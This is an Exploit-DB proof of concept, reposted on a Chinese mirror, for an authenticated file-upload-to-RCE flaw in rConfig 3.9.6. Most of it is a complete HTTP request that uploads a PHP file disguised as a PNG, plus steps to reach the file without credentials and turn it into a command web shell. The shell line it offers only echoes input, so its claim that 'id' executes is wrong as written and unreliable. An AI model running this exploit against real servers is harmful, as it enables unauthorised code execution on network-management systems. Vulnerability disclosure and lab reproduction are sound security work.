rConfig 3.9.6 – Arbitrary File Upload to Remote Code Execution (Authenticated) (1)

  • 作者: Murat ŞEKER
    日期: 2021-03-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49665/
  • # Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1)
    # Date: 2021-03-17
    # Exploit Author: Murat ŞEKER
    # Vendor Homepage: https://www.rconfig.com
    # Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
    # Version: rConfig v3.9.6
    # Install scripts:
    # https://www.rconfig.com/downloads/scripts/install_rConfig.sh
    # https://www.rconfig.com/downloads/scripts/centos7_install.sh
    # https://www.rconfig.com/downloads/scripts/centos6_install.sh
    # Tested on: centOS 7
    # Notes : If you want to reproduce in your lab environment follow those links :
    # http://help.rconfig.com/gettingstarted/installation
    # then
    # http://help.rconfig.com/gettingstarted/postinstall
    
    # Description:
    rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.
    
    The following steps can be carried out in duplicating this vulnerability.
    
    - Login the rConfig application with your credentials.
    - Repeat 
    
    POST /lib/crud/vendors.crud.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@5y4o1s35jvx342apl7392qrqxh3m7aw.burpcollaborator.net
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254
    Content-Length: 36619
    Origin: https://localhost
    Connection: close
    Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref
    Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b
    Upgrade-Insecure-Requests: 1
    Cache-Control: no-transform
    
    -----------------------------122590832918963661283831488254
    Content-Disposition: form-data; name="vendorName"
    
    thisisrce
    -----------------------------122590832918963661283831488254
    Content-Disposition: form-data; name="vendorLogo"; filename="file.php"
    Content-Type: image/png
    
    <?php phpinfo(); ?>
    -----------------------------122590832918963661283831488254
    Content-Disposition: form-data; name="add"
    
    add
    -----------------------------122590832918963661283831488254
    Content-Disposition: form-data; name="editid"
    
    
    -----------------------------122590832918963661283831488254--
    
    
    
    - Than go to http(s)://<SERVER>/images/vendor/file.php
    
    Note: The file.php can be accessed without valid credentials.
    
    
    If you change the <?php phpinfo(); ?> to <?php echo $_GET["cmd"];?>
    
    and navigate the http(s)://<SERVER>/images/vendor/file.php?cmd=id
    
    The `id` command will execute on server.